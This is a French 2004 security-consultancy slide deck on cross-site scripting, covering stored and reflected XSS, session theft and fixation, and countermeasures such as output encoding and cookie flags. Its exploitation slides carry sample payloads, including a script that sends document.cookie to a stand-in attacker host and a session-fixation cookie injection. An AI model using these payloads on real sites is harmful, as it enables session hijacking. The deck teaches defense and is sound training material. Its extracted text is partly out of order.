You are on page 1of 20

HERVÉ SCHAUER CONSULTANTS

Cabinet de Consultants en Sécurité Informatique depuis 1989 Spécialisé sur Unix, Windows, TCP/IP et Internet

Séminaire 15 ans HSC 

Failles XSS : Principes, Catégories Démonstrations, Contre­mesures
<Alain.Thivillon@hsc.fr>
Alain Thivillon

Plan

Rappels

Modèle de fonctionnement du W eb Mécanismes de sécurité des codes mobiles

Cross-Site Scripting

par stockage par réflexion

Exploitations

Insertion de tags HTML Redirections Vol de sessions (cookies, referer, ...) Fixation de session

Contre-mesures
Copyright Hervé Schauer Consultants 2000-2004 - Reproduction Interdite

2 / 20

) ✗ ✗ Extensions dynamiques : JavaScript. ✗ ✗ 3 / 20 Copyright Hervé Schauer Consultants 2000-2004 . status. type de document....Rappel fonctionnement Web ✗ Rappel : HTML est un langage ✗ Un navigateur est un interpréteur Analogie : Imprimante Postscript.... Terminal VT (séquences escapes) ou graphique (old Tektronix) ✗ ✗ Le code à exécuter est envoyé par le serveur via le protocole HTTP ✗ Informations dans l'entête (cookies. . DHTML ✗ Interaction entre le document et le navigateur Génération dynamique de la page coté client tag <SCRIPT> et attributs de type Onload.) Corps du document : "tags" HTML (exemple <BODY> <IMG> .Reproduction Interdite . OnClick .

tcp4:127. path=/ Connection: close Content-Type: text/html.3.0.6RC2 X-Powered-By: PHP/4.php HTTP/1.<input type="text" name="login" length=10 maxlength=10><BR> Pass&nbsp.6RC2 Set-Cookie: PHPSESSID=849c32ddc88c288f9ec78c9d392e0734.Reproduction Interdite .0.<input type="password" name="pass" length=10 maxlength=10><BR> <input type="submit" name="ok" value="login"><BR> </FORM> </BODY></HTML> 4 / 20 Copyright Hervé Schauer Consultants 2000-2004 .hsc.49 (Gentoo/Linux) PHP/4.0 Host: localhost.fr HTTP/1. charset=ISO-8859-1 <HTML><Title>Auth Page</Title> <BODY BGCOLOR="white"> <FORM METHOD="POST">Login&nbsp.0. 14 May 2004 08:20:11 GMT Server: Apache/2.1:80 GET /app1/auth.1 200 OK Date: Fri.3.Exemple HTTP # socat .

document.Mécanismes JavaScript ✗ Que peut faire le langage ? ✗ Composer la page (document. .location = .cookie..) Popups. ✗ ✗ ✗ ✗ Mécanismes de sécurité ✗ Les propriétés du document ne sont pas visibles par d'autres serveurs. Extensions Microsoft "Active Scripting" : zones de sécurité Copyright Hervé Schauer Consultants 2000-2004 . modifier les préférences ou le disque de l'utilisateur.write) Récupérer des informations sur le document (document..location. .Reproduction Interdite ✗ ✗ ✗ 5 / 20 ..) Charger une autre page (document... Exemple : une frame chargée depuis le serveur A ne peut pas lire les propriétés d'une autre chargée depuis le serveur B Le code JavaScript ne peut pas lire.

La victime : exécute le code introduit par l'attaquant.Cross Site Scripting ✗ XSS (différent de CSS == Cascading Style Sheet) ✗ Insertion non prévue de code HTML ou JavaScript dans la page envoyée par le serveur Exécution de ce code par le navigateur dans le contexte de sécurité du document envoyé par le serveur  Attaque par injection de code sur le navigateur du client via le serveur ✗ ✗ ✗ Trois participants: ✗ L'attaquant : introduit le code sur le serveur. Le serveur : envoie la page contenant le code à la victime.Reproduction Interdite ✗ 6 / 20 . ✗ ✗ ✗ Deux méthodes pour injecter le code: ✗ Stockage par le serveur Page générée à partir de paramètres Copyright Hervé Schauer Consultants 2000-2004 .

php?id=9081 Host: www.communaute.XSS par stockage ✗ L'attaquant envoie le code au serveur (exemple. <body> <h2>Vds Palm pas cher</h2><br> <hr> <script>alert("Coucou !")</script> </body> ✗ ✗ POST /newart.communaute.com Content-Type: multipart/form-data subject=Vds%20Palm%20pas%20cher& texte=<script>alert("Coucou !")</script> GET /article. dans un forum Web) Le serveur le stocke Et l'envoie tel quel au client lors de la génération et la visualisation de la page ..com 7 / 20 Copyright Hervé Schauer Consultants 2000-2004 .php Host: www.Reproduction Interdite ..

serveur.serveur.</script>">site ! </a> <html> GET /erreur.jsp?msg=<script>alert ("Coucou !').jsp?msg=<h3>TEXTE</h3> Affichage de la variable msg par le serveur ✗ ✗ Envoi de l'URL via un Email ou un serveur de type tinyurl.Reproduction Interdite .com/erreur.jsp?msg= <script>alert("Coucou !').com 8 / 20 Copyright Hervé Schauer Consultants 2000-2004 .com To: user@grosse-societe. Regarde ce <a href= "http://www.com/erreur.XSS par "réflexion" ✗ Utilisation d'une page paramétrée ✗ Exemple http://www.</script> Host: www.fr Subject: Un site sympa <html> Coucou.serveur.com ou minilien.com <body> <h4>Erreur:</h4><br> <script>alert("Coucou !")</script> </body> From: pirate@hotmail.

Reproduction Interdite . masquage de la fin de la page ✗ ✗ 9 / 20 Copyright Hervé Schauer Consultants 2000-2004 .1 ✗ Insertion de tags HTML ✗ En particulier de tags <IMG SRC=http://www.Exploitation .serveurXXX.com/image.jpg> Dégradation de l'image Forums pollués.

8" ✗ ✗ ✗ Utilisation de scripts plus complexes.0 (X11.attaquant.js"></script> ✗ Contraintes de longueur contournées 10 / 20 Copyright Hervé Schauer Consultants 2000-2004 .hsc.Exploitation .1" 200 "http://localhost.location="http://www.[14/May/2004:15:54:24 +0200] "GET / HTTP/1.Reproduction Interdite .2 ✗ Redirection automatique vers un autre site: ✗ <script>document. U.1 . en-US. rv:1.php?id=15" "Mozilla/5. avec récupération du source sur le serveur de l'attaquant: ✗ <script src="http://www.0.hsc.fr/"</script> ✗ Rend inutilisable la page générée L'utilisateur ne comprend pas la manipulation Recupération du Referer (page précédente) dans les journaux du serveur W eb de l'attaquant: 127.0.fr/app1/article.6) Gecko/20040207 Firefox/0..com/a. Linux i686.

Exploitation .3 ✗ Récupération des identifiants de session ✗ Dans un cookie Ou dans l'URL Le but est de les faire apparaitre dans les journaux d'un serveur sous le contrôle de l'attaquant ✗ ✗ ✗ Exemple de code utilisant document.write : <script> document. </script>  L'image appelée est : http://pirate.write( '<IMG SRC = "http://pirate.gif?' + 'location=' + document.rominet.cookie + '">').Reproduction Interdite .location + '&cookie='+ document.net/rominet.j sp&cookie=JSESSIONID=01919198181101AFR 11 / 20 Copyright Hervé Schauer Consultants 2000-2004 .net/rominet.rominet.com/page.gif?location=http://site.

Reproduction Interdite .Exploitation . peu utilisée 12 / 20 Copyright Hervé Schauer Consultants 2000-2004 .fr" ✗ ✗ Il attend que la victime s'authentifie sur le serveur.4 ✗ Fixation de session ✗ Principe : utiliser un XSS afin d'imposer un cookie connu à la victime Schéma: ✗ ✗ L'attaquant se connecte sur le serveur en mode anonyme  Il reçoit un cookie de session (ex JSP ou PHP) Il utilise un XSS sur un serveur du même domaine pour fixer le cookie chez la victime (via le code JavaScript de type document.domain=.site. L'attaquant posséde alors un cookie de session authentifié valide qu'il peut utiliser en parallèle avec la victime ✗ ✗ Attaque de niveau 2.cookie="PHPSESSIONID=78191. Si celui ci est mal programmé (exemple sessions J2EE). le cookie sera accepté.

domaine=.0 Host: transaction.fr POST /auth.fr/err.banque.5 transaction.fr GET / HTTP/1.cookie="JSESSIONID=12345689.site.class HTTP/1.Exploitation .0 Host: transaction.site.site.fr <a href=http://www.fr Cookie: JSESSIONID=123456789 login=user&pass=monpass Set-Cookie: JSESSIONID=123456879    JSESSIONID=123456789.site.fr"</script>  13 / 20 Copyright Hervé Schauer Consultants 2000-2004 .Reproduction Interdite .site.domaine=.banque.fr www.jsp?msg= <script>document.

récupération des cookies et vol de la session ✗ ✗ ✗ 14 / 20 Copyright Hervé Schauer Consultants 2000-2004 . ✗ ✗ Quelques types de XSS présentés ✗ Stockage dans le sujet des articles Stockage dans le corps Moteur de recherche Visualisation des logs.Reproduction Interdite .fr/ : Site « Victime » : forum authentifié . moteur de recherche http://pirate.Démos ! ✗ Application PHP spécialement mal foutue  Deux serveurs Web sur la machine : ✗ ✗ http://mauvais-site. gestion de la session par cookie PHP.hsc.rominet.net/ : Site de l'attaquant qui va récupérer les cookies via une faille XSS.

.. et comparer les entrées par rapport à une expression régulière de type [a-zA-Z0-9]+ ✗ ✗ ✗ Est-on sûr que le Web est la seule entrée de l'application ? ✗ Minitel ? W ap Flux XML ? ✗ ✗ ✗ Est-on sûr que le Web est la seule sortie de l'application ? ✗ XML (RSS. OnClick.) Il faut donc être très strict dans ce qui est accepté.) Il y a d'autres manières de générer du code dynamique (OnLoad. <%00script>..Reproduction Interdite ✗ 15 / 20 .Contre-mesures (1) ✗ Idée la plus commune : Filtrer les entrées ✗ Supprimer <script> </script> ne règle pas tout (IMG. . IFRAME. W ebApps) PostScript Copyright Hervé Schauer Consultants 2000-2004 ...

Contre-mesures (2) Wap Html Xml Browser PostScript Minitel XML (WebApps) 16 / 20 Copyright Hervé Schauer Consultants 2000-2004 .Reproduction Interdite .

edu/projects/mini/htmlfilter/) Copyright Hervé Schauer Consultants 2000-2004 .Contre-mesures (3) ✗ Il faut convertir les données en sortie ✗ Systématisation Ne dépend plus des entrées ni du contenu des bases de données ✗ ✗ Selon le langage ✗ PHP : htmlentities() Perl : escapeHTML()dans CGI.duke.Reproduction Interdite ✗ ✗ 17 / 20 .pm J2EE : utilisation des taglibs ou des classes javax.text.swing.html ASP : HtmlEncode() ✗ ✗ ✗ ✗ Limites de cette approche ✗ Insertion de tags HTML limités Nécessite donc parfois un parsing et stockage de données structurées Librairies de « W ashing » (http://linux.

W ebSphere.Contre mesures (4) ✗ Utilisation de modèles de haut niveau ✗ STRUTS Librairies PEAR en PHP Modèles MVC ✗ ✗ ✗ Attention aux bugs dans les serveurs eux même ✗ Multiples exemples dans Apache. TomCat. IIS. En général dans les pages d'erreurs Se tenir à jour ✗ ✗ ✗ Gestion sécurisée des cookies ✗ Une session anonyme ne doit pas être réutilisée Utilisation du marquage «secure» et «not for javascript» des cookies Selon le langage ça peut être difficile Copyright Hervé Schauer Consultants 2000-2004 .. ..Reproduction Interdite ✗ ✗ 18 / 20 .

Reproduction Interdite .Conclusions ✗ Les problèmes de XSS concernent la majorité des applications Web ✗ C'est parfois considéré comme un problème résiduel Impacts pourtant potentiellement graves Attention : un XSS sur une partie d'un domaine peut impacter l'ensemble des sites ✗ ✗ ✗ Solutions ✗ Former les développeurs ! Penser « globalement » aux problèmes de validation des données Utiliser des technologies qui réduisent les risques Faire auditer les applications (audit de code ou audit intrusif aveugle) ✗ ✗ ✗ 19 / 20 Copyright Hervé Schauer Consultants 2000-2004 .

sourceforge.html Guides OWASP : Top Ten Web Vulnérabilities : http://prdownloads.Références ✗ CERT Advisory CA-2000-02 : http://www.com/pub/a/2002/02/20/css.cert.html XSS Holes http://www.pdf XSS Faq: http://www.Reproduction Interdite .org/advisories/CA-2000-02.cert.com/Sleuth/papers/RealWorld_XSS_1.html ✗ ✗ ✗ ✗ ✗ 20 / 20 Copyright Hervé Schauer Consultants 2000-2004 .perl.com/articles/xss-faq.shtml Real World XSS : http://sandsprite.html Filtrer les entrées : http://www.cgisecurity.org/tech_tips/cgi_metacharacters.net/owasp/OWASPTopTen2004.